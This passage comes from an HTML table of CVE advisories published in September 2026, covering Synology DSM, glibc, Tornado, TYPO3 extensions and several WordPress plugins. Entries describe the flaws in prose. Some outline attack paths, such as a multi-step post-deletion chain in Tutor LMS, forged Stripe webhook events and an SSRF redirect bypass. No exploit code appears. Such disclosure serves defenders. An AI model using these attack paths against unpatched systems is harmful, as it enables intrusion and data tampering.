&lt;td&gt;An improper neutralization of input during web page generation (&#039;Cross-site Scripting&#039;) vulnerability in Theme API in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote authenticated users with administrator privileges to read or write limited files.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13623&quot; target=&quot;_blank&quot;&gt;CVE-2026-13623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An integer overflow or wraparound vulnerability in File Operation in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to conduct limited denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40531&quot; target=&quot;_blank&quot;&gt;CVE-2026-40531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) vulnerability in Audio API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to obtain non-sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40536&quot; target=&quot;_blank&quot;&gt;CVE-2026-40536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;A server-side request forgery (SSRF) vulnerability in PersonMail API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to obtain non-sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40537&quot; target=&quot;_blank&quot;&gt;CVE-2026-40537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Syslifters--sysreptor&lt;/td&gt;
&lt;td&gt;SysReptor is a fully customizable pentest reporting platform. Prior to 2026.68, an unauthenticated attacker who holds a public read-write note share link can disclose an uploaded file or image from the same project by updating the shared note to reference the target asset filename. The user-controlled reference causes the shared-note authorization logic to treat the asset as permitted, after which the attacker can download it. The attacker must know the asset filename, and the issue does not permit cross-project access. This issue is fixed in version 2026.68.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81182&quot; target=&quot;_blank&quot;&gt;CVE-2026-81182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Discover&lt;/td&gt;
&lt;td&gt;Tanium addressed an information disclosure vulnerability in Discover.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87076&quot; target=&quot;_blank&quot;&gt;CVE-2026-87076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Threat Response&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Threat Response.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87113&quot; target=&quot;_blank&quot;&gt;CVE-2026-87113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Threat Response&lt;/td&gt;
&lt;td&gt;Tanium addressed a server-side request forgery vulnerability in Threat Response.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87116&quot; target=&quot;_blank&quot;&gt;CVE-2026-87116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TCH--QRing&lt;/td&gt;
&lt;td&gt;TCH QRing smart ring model R20_B006 running firmware RT09R20_1.00.00_250318 contains an unauthenticated Bluetooth Low Energy access vulnerability that allows any nearby attacker to connect to the device without pairing, authentication, or user approval by exploiting the exposed Nordic UART Service which enforces no client authentication or command authorization. Attackers within Bluetooth Low Energy range can connect directly to the ring, bypassing the official application and cloud authentication, to read battery levels, activate live heart rate monitoring, and retrieve stored historical heart rate and blood oxygen records.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89034&quot; target=&quot;_blank&quot;&gt;CVE-2026-89034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-survey-form&lt;/td&gt;
&lt;td&gt;TDuck survey form through version 5.0 contains an authorization bypass vulnerability in the POST /user/form/data/update endpoint that allows authenticated users to overwrite other users&#039; form submission data. Attackers can discover submission identifiers allocated in narrow ranges and modify arbitrary form responses containing personal data by sending update requests without ownership validation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92567&quot; target=&quot;_blank&quot;&gt;CVE-2026-92567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tektoncd--pipelines-as-code&lt;/td&gt;
&lt;td&gt;Pipelines-as-Code is a CI/CD system that lets users define Tekton pipelines in source code repositories. Prior to 0.37.8, 0.39.6, 0.42.1, and 0.48.0, a GitHub App installation token created during webhook processing is not scoped to the repository that triggered the event when the App is installed across multiple repositories. A user with push access to one repository can submit a PipelineRun containing a pipelinesascode.tekton.dev/task remote task annotation that targets a private repository in the same installation. When ScopeTokenToListOfRepos returns no explicit scope, the missing triggering repository ID leaves the token able to access the entire installation. Pipelines-as-Code resolves and inlines the remote private task with that token, disclosing the repository&#039;s Tekton definitions. The demonstrated impact is read-only and does not provide write access. This issue is fixed in versions 0.37.8, 0.39.6, 0.42.1, and 0.48.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54168&quot; target=&quot;_blank&quot;&gt;CVE-2026-54168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tencent--BrowserSkill&lt;/td&gt;
&lt;td&gt;Tencent BrowserSkill through 0.3.0 contains an authentication bypass vulnerability in the local daemon WebSocket origin validation that accepts any chrome-extension origin with 32 characters in range a-p. Attackers can register a malicious extension as a browser client to intercept and manipulate page content, DOM, and screenshots returned to the AI agent.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94111&quot; target=&quot;_blank&quot;&gt;CVE-2026-94111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tencent--WeKnora&lt;/td&gt;
&lt;td&gt;WeKnora before 0.7.0 fails to re-validate HTTP redirect targets in the POST /api/v1/knowledge-bases/:id/knowledge/url endpoint when downloading documents from user-supplied URLs. Authenticated attackers can bypass initial SSRF validation by supplying a public URL that redirects to internal network addresses, allowing access to internal services and cloud metadata.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91750&quot; target=&quot;_blank&quot;&gt;CVE-2026-91750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tenda--W20E&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Tenda W20E 15.11.0.61068_1546_841_CN_TDC. This issue affects the function formIPMacBindAdd of the component HTTP Handler. Such manipulation of the argument IPMacBindRule leads to stack-based buffer overflow. It is possible to launch the attack remotely.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90688&quot; target=&quot;_blank&quot;&gt;CVE-2026-90688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;Calling tdelete on a sufficiently deep tree in the GNU C Library version 2.1 to 2.44 may write one pointer past the end of an alloca-allocated array on the stack, which may crash the application. The tdelete implementation keeps an explicit stack of parent nodes for rebalancing, which is grown as needed while descending the tree. Two rebalancing branches push an additional entry without checking the capacity, and write past the array when the stack is exactly full. Triggering this requires a node at a depth of exactly 40 (or 40 plus a multiple of 20), which implies a tree with at least a million nodes, so an attacker must drive a large number of insertions and deletions through an application that uses tsearch and tdelete. The written value is a pointer into a tree node and is not directly attacker controlled. No affected application in common distributions has been identified.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19542&quot; target=&quot;_blank&quot;&gt;CVE-2026-19542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;Converting crafted SHIFT_JISX0213 input to UCS-4 or the internal wide character encoding, for example with iconv, in the GNU C Library version 2.3 to 2.44 may result in the converter making no progress, causing the calling application to hang. Some SHIFT_JISX0213 sequences decode to two code points. If the output buffer has room for only the first one, the converter stores the second in the conversion state and returns E2BIG, but it never clears that pending character after emitting it on the next call. The converter then keeps emitting the pending character without consuming further input, so an application that retries the conversion loops forever. The input must be attacker controlled and the application must convert it with an output buffer small enough to split the two code points. Only the SHIFT_JISX0213 character set is affected, which is not commonly used. The related defect in the EUC_JISX0213 converter is tracked separately as CVE-2026-80489.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77117&quot; target=&quot;_blank&quot;&gt;CVE-2026-77117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;Converting crafted EUC_JISX0213 input to UCS-4 or the internal wide character encoding, for example with iconv, in the GNU C Library version 2.3 to 2.44 may result in the converter making no progress, causing the calling application to hang. Some EUC_JISX0213 sequences decode to two code points. If the output buffer has room for only the first one, the converter stores the second in the conversion state and returns E2BIG, but it never clears that pending character after emitting it on the next call. The converter then keeps emitting the pending character without consuming further input, so an application that retries the conversion loops forever. The input must be attacker controlled and the application must convert it with an output buffer small enough to split the two code points. Only the EUC_JISX0213 character set is affected, which is not commonly used. The related defect in SHIFT_JISX0213 converter is tracked separately as CVE-2026-77117.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80489&quot; target=&quot;_blank&quot;&gt;CVE-2026-80489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;Initializing the DNS stub resolver from an /etc/resolv.conf file, or a LOCALDOMAIN environment variable, whose search list contains a domain of roughly 200 characters or more in the GNU C Library version 2.26 to 2.44 results in an assertion failure which aborts the process. The resolver truncates the search list when copying it into the fixed-size _res.defdname buffer, then asserts that the copy is consistent with the full configuration. The consistency check compared against the wrong size and did not handle a first entry that does not fit, so a correctly truncated list failed the assertion. Any process that resolves names through the library is affected, including long-running processes that reload /etc/resolv.conf on the next query after it changes. Search domains are commonly written to /etc/resolv.conf from data received over DHCP or from a VPN server, so an attacker on the local network may be able to trigger this without privileges on the target system, subject to validation by the network configuration software.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8674&quot; target=&quot;_blank&quot;&gt;CVE-2026-8674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themefusecom--Brizy Page Builder&lt;/td&gt;
&lt;td&gt;The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;rootAttributes&#039; parameter in all versions up to, and including, 2.8.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2585&quot; target=&quot;_blank&quot;&gt;CVE-2026-2585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themehigh--Payment Gateway of Stripe for WooCommerce&lt;/td&gt;
&lt;td&gt;The Payment Gateway of Stripe for WooCommerce plugin for WordPress is vulnerable to Improper Verification of Cryptographic Signature in all versions up to, and including, 5.0.8. This is due to the publicly accessible `woocommerce_api_wt_stripe` webhook endpoint (`EH_Stripe_Webhook_Handler::handle()`) wrapping the only call to `\Stripe\Webhook::constructEvent()` inside an `if (!empty($endpoint_secret))` guard that is never entered on default installations - because the `eh_stripe_webhook_secret` option is empty after a fresh plugin install - causing the raw, attacker-controlled POST body to be decoded and processed as a fully trusted Stripe event without any signature verification, authentication, or authorization. This makes it possible for unauthenticated attackers to send forged Stripe webhook events to manipulate WooCommerce order statuses, including marking unpaid orders as paid or completed via `payment_complete()`, forcing legitimate orders into a failed state, fabricating dispute notifications, and injecting forged refund events. This vulnerability is only exploitable when the Stripe webhook signing secret has not been configured by an administrator; once a valid signing secret is saved, `\Stripe\Webhook::constructEvent()` is enforced and forged requests are rejected.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9832&quot; target=&quot;_blank&quot;&gt;CVE-2026-9832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Tutor LMS eLearning and online course solution&lt;/td&gt;
&lt;td&gt;The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;search&#039; parameter in all versions up to, and including, 4.0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89081&quot; target=&quot;_blank&quot;&gt;CVE-2026-89081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Tutor LMS eLearning and online course solution&lt;/td&gt;
&lt;td&gt;The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.0.8 via the &#039;student_id&#039; parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to disclose the email address and Tutor profile phone number of arbitrary WordPress users, including Administrators, by iterating over user IDs via the student_id parameter.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89333&quot; target=&quot;_blank&quot;&gt;CVE-2026-89333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Tutor LMS eLearning and online course solution&lt;/td&gt;
&lt;td&gt;The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.0.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary WordPress posts - including pages, courses, quizzes, and WooCommerce products - via wp_delete_post( $id, true ). The exploit chain requires the attacker to first trigger the profile-photo upload flow to obtain an authored wp_posts attachment row, then create a Tutor topic reparented to that attachment, before invoking the lesson deletion handler against any target post ID.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88944&quot; target=&quot;_blank&quot;&gt;CVE-2026-88944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themewant--RT Mega Menu Mega Menu Builder for Elementor &amp;amp; Gutenberg&lt;/td&gt;
&lt;td&gt;The RT Mega Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;css[left]&#039; parameter in all versions up to, and including, 1.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14855&quot; target=&quot;_blank&quot;&gt;CVE-2026-14855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themewant--RT Mega Menu Mega Menu Builder for Elementor &amp;amp; Gutenberg&lt;/td&gt;
&lt;td&gt;The RT Mega Menu - Mega Menu Builder for Elementor &amp;amp; Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;pointer_menu_item&#039; Block Attribute in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload bypasses wp_kses_post filtering applied to post content on save because it contains no HTML tags and survives intact inside the block comment&#039;s JSON attributes, reaching the walker unescaped at render time.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15650&quot; target=&quot;_blank&quot;&gt;CVE-2026-15650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tigroumeow--AI Engine The Chatbot, AI Framework &amp;amp; MCP for WordPress&lt;/td&gt;
&lt;td&gt;The AI Engine - The Chatbot, AI Framework &amp;amp; MCP for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.7.7 via the &#039;mediaId&#039; parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to access and retrieve the transcribed contents of private audio attachments belonging to other users, including Administrators, via a supplied attachment ID. This vulnerability requires the Public API module to be enabled in the plugin settings; when disabled, the REST route is absent and the endpoint returns HTTP 404.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89141&quot; target=&quot;_blank&quot;&gt;CVE-2026-89141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tiktokbusinessplugin--TikTok&lt;/td&gt;
&lt;td&gt;The TikTok plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.4.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the merchant&#039;s stored TikTok integration access token in wp_options, hijacking the site&#039;s TikTok Business and product catalog integration. Successful exploitation requires the attacker to supply a valid TikTok OAuth auth_code issued for the merchant&#039;s registered TikTok app, as the plugin&#039;s token exchange must receive a message=&#039;OK&#039; response from TikTok&#039;s API before the stored access token is overwritten.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18346&quot; target=&quot;_blank&quot;&gt;CVE-2026-18346&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tornadoweb--tornado&lt;/td&gt;
&lt;td&gt;Tornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-58384&quot; target=&quot;_blank&quot;&gt;CVE-2024-58384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tornadoweb--tornado&lt;/td&gt;
&lt;td&gt;Tornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91991&quot; target=&quot;_blank&quot;&gt;CVE-2026-91991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tornadoweb--tornado&lt;/td&gt;
&lt;td&gt;Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91992&quot; target=&quot;_blank&quot;&gt;CVE-2026-91992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;traccar--traccar&lt;/td&gt;
&lt;td&gt;Traccar is an open source GPS tracking system. Prior to 6.14.0, an authenticated user with permission to manage groups and request reports can create a cyclic group-parent hierarchy and request a trips or stops report for a device in that hierarchy. org.traccar.api.resource.GroupResource permits the parent cycle, while org.traccar.helper.model.AttributeUtil.lookup follows group parents without cycle detection, a visited set, or a depth limit. The storage-backed lookup reached through TripsConfig. and ReportUtils.slowTripsAndStops never terminates, pins a Jetty worker at high CPU after the client disconnects, and can exhaust the web/API worker pool when requests are repeated. The position-ingestion cache-backed path is not part of the confirmed affected scope. This issue is fixed in 6.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52852&quot; target=&quot;_blank&quot;&gt;CVE-2026-52852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TripleLift--video-bundle.js&lt;/td&gt;
&lt;td&gt;TripleLift&#039;s ad rendering script (video-bundle.js) contains a DOM-based cross-site scripting vulnerability that allows unauthenticated attackers to execute arbitrary JavaScript in a publisher&#039;s domain by sending crafted postMessage payloads without origin validation. Attackers can cause a victim to visit an attacker-controlled page that sends malicious postMessage events to a publisher page running the ad script, enabling session hijacking and unauthorized DOM manipulation.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82019&quot; target=&quot;_blank&quot;&gt;CVE-2026-82019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;twentyhq--twenty&lt;/td&gt;
&lt;td&gt;Twenty before 2.35.0 fails to validate field and row permissions in the groupBy-with-records GraphQL resolver, allowing authenticated users to bypass permission checks. Attackers with canReadObjectRecords permission but canReadFieldValue false can retrieve restricted field values through the groupBy resolver that would normally be denied.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92771&quot; target=&quot;_blank&quot;&gt;CVE-2026-92771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TYPO3--content_consent&lt;/td&gt;
&lt;td&gt;An issue was discovered in the content_consent (aka Content Consent) extension through 2.0.1 for TYPO3. It fails to verify whether a specified content element identifier is permitted by the plugin. This enables an unauthenticated user to display various content elements, leading to an insecure direct object reference (IDOR) issue with the potential to expose internal content elements.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-50462&quot; target=&quot;_blank&quot;&gt;CVE-2023-50462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TYPO3--femanager&lt;/td&gt;
&lt;td&gt;An issue was discovered in the femanager extension 7.x before 7.2.3 for TYPO3. It fails to check access permissions for the edit user component. An authenticated frontend user can exploit this to either edit data of various frontend users or delete various frontend user accounts.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-50459&quot; target=&quot;_blank&quot;&gt;CVE-2023-50459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TYPO3--femanager&lt;/td&gt;
&lt;td&gt;An issue was discovered in the femanager extension 7.x before 7.2.3 for TYPO3. The backend module allows an authenticated backend user to perform various actions (userLogout, confirmUser, refuseUser, and resendUserConfirmation) for any frontend user in the system.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-50460&quot; target=&quot;_blank&quot;&gt;CVE-2023-50460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TYPO3--femanager&lt;/td&gt;
&lt;td&gt;The femanager extension 7 before 7.2.2 for TYPO3 has Incorrect Access Control: it lacks a check for permissions for the invitation component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
